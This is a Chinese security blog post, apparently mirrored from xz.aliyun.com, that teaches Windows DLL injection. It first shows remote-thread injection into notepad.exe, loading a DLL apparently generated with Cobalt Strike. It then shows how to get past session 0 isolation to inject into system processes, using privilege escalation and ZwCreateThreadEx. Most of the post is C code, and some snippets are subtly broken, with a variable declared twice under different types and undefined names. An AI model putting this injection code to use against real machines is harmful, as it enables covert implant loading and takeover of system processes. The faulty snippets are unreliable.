Dll注入
2023-5-30 20:36:45 Author: xz.aliyun.com(查看原文) 阅读量:13 收藏

0x01 dll远程线程注入

在windows当中我们的exe想要去加载dll可以通过调用LoadLibrary函数。

HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

如果函数成功,则返回值是模块的句柄。

如果函数失败,则返回值为 NULL。

首先我们通过cs生成一个dll。

我们能够使用CreateRemoteThread函数在其他进程地址空间中运行线程。也称之为远程线程。

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

第一个函数是要在其中创建线程的进程句柄。

第四个函数表示在别的文件里面需要执行的地址。

第五个函数表示指向要传递给线程函数的变量的指针。

所以说我们第一步就说获取进程的句柄,这里我们拿notepad.exe进程来举例,首先我们需要去获取该进程的pid然后通过的pid通过OpenProcess函数去获取该进程的句柄。
获取进程pid

DWORD GetProcessPID(LPCTSTR lpProccessName) {
    DWORD pid = 0;
    PROCESSENTRY32 p32;
    HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (lpSnapshot == INVALID_HANDLE_VALUE) {
        printf("Get Process Error:%d", GetLastError());
        return pid;
    }
    p32.dwSize = sizeof(PROCESSENTRY32);
    ::Process32First(lpSnapshot, &p32);
    do {
        if (!lstrcmp(p32.szExeFile, lpProccessName)) {
            pid = p32.th32ProcessID;
            break;
        }
    } while (::Process32Next(lpSnapshot, &p32));
    ::CloseHandle(lpSnapshot);
    return pid;
}

首先是CreateToolhelp32Snapshot函数。该函数是获取指定进程的快照,以及这些进程使用的堆、模块和线程。

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);

TH32CS_SNAPPROCESS表示在快照中包含系统中的所有进程。第二个是要包含在快照中的进程的进程标识符。 此参数可以为零以指示当前进程。

接下来就可以使用OpenProcess函数打开notepad.exe进程获取句柄。

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,Pid);
if (hProcess == NULL) {
    printf("Open Process Error:%d\n", GetLastError());
    return FALSE;
}

当我们打开了notepad进程后继续向进程里面通过VirtualAllocEx申请空间。

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

第三个函数表示大小,我们获取dllpath长度即可,这里为LPCWSTR,我们可以使用(wcslen(dllpath) + 1)*sizeof(TCHAR)。来获取。

LPVOID hAllocMemory = VirtualAllocEx(hProcess, NULL, dllsize, MEM_COMMIT, PAGE_READWRITE);
if (hAllocMemory == NULL) {
    printf("VirtualAllocEx Error:%d\n", GetLastError());
    return FALSE;
}

当我们申请了空间后我们就需要向里面通过WriteProcessMemory写入dll路径

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

如果函数成功,则返回值为非零。
如果函数失败,则返回值为 0(零)。
BOOL Write = WriteProcessMemory(hProcess, pAllocMemory, dllpath, dllsize, NULL);

接下来我们就去kernel32.dll里面获取LoadLibraryW函数的地址。再通过CreateRemoteThread函数去notepad进程里面去通过获取到的LoadLibrary的地址去加载申请的空间。

FARPROC pThread = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
HANDLE pThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThread, pAllocMemory, 0, NULL);
if (pThread == NULL) {
    printf("CreateRemoteThread Error:%d\n", GetLastError());
    return FALSE;
}

接下来就是等待函数结束以及释放dll空间和关闭句柄。

WaitForSingleObject(pThread, -1);
VirtualFreeEx(pProcess, pAllocMemory, dllsize, MEM_DECOMMIT);
CloseHandle(hProcess);

0x02 突破session 0注入

如果我们想注入到系统进程内,通常会失败,这是由于session 0隔离的原因。

我们使用到的CreateRemoteThread。函数是调用kernel32.dll。我们打开看看。

可以看到是调用的kernelbase.dll

打开该dll搜索下CreateRemoteThreadEx可以看到调用了NtCreateThreadEx函数查看该函数

可以看到调用的是ntdll.dll

查看伪代码

调用了NtCreateThreadEx函数。打开普通的kernel32.dll

可以看到 CreateThread函数也是调用的 CreateRemoteThreadEx

他们的区别就是如果是普通线程的话句柄值就为-1。远程线程的话句柄值就为打开的线程的句柄。

ZwCreateThreadEx函数比CreateRemoteThread函数更接近内核,CreateRemoteThread最终也是调用ZwCreateThreadEx函数来创建线程的。在内部调用ZwCreateThreadEx会把第七个参数创建标识设置为1,这样会使创建的线程挂起,这也是注入失败的原因。所以如果想要创建的线程成功执行我们需要将第七个参数指定为0,这样我们就能在创建线程后让他执行。

ZwCreateThreadEx在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
我们需要注意的是64位和32位中,函数定义还不一样。

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);
#endif

首先还是获取进程的pid

DWORD GetProcessPID(LPCTSTR lpProccessName) {
    DWORD pid = 0;
    PROCESSENTRY32 p32;
    HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (lpSnapshot == INVALID_HANDLE_VALUE) {
        printf("Get Process Error:%d", GetLastError());
        return pid;
    }
    p32.dwSize = sizeof(PROCESSENTRY32);
    ::Process32First(lpSnapshot, &p32);
    do {
        if (!lstrcmp(p32.szExeFile, lpProccessName)) {
            pid = p32.th32ProcessID;
            break;
        }
    } while (::Process32Next(lpSnapshot, &p32));
    ::CloseHandle(lpSnapshot);
    return pid;
}

0.提权

BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
    HANDLE hToken = NULL;
    LUID luidValue = { 0 };
    TOKEN_PRIVILEGES tokenPrivileges = { 0 };
    BOOL bRet = FALSE;

    bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);

    bRet = LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);

    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);


    return TRUE;
}

1.打开进程

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

2.申请空间

DWORD size = (wcslen(DllPath) + 1) * sizeof(TCHAR);
LPVOID pAllocMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);

3.写入空间

BOOL Write = WriteProcessMemory(hProcess, pAllocMemory, DllPath, size, NULL);

4.加载ntdll.dll

HMODULE hModNtdll = LoadLibrary(L"ntdll.dll");

5.获取LoadLibrary

FARPROC pThread =  GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

6.从ntdll.dll获取ZwCreateThreadEx

typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hModNtdll, "ZwCreateThreadEx");

7.创建远线程

DWORD Status = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL,
        hProcess,
        addr, pAllocMemory, 0, 0, 0, 0, NULL);

8.其他

CloseHandle(hProcess);
FreeLibrary(hModNtdll);


文章来源: https://xz.aliyun.com/t/12577
如有侵权请联系:admin#unsafe.sh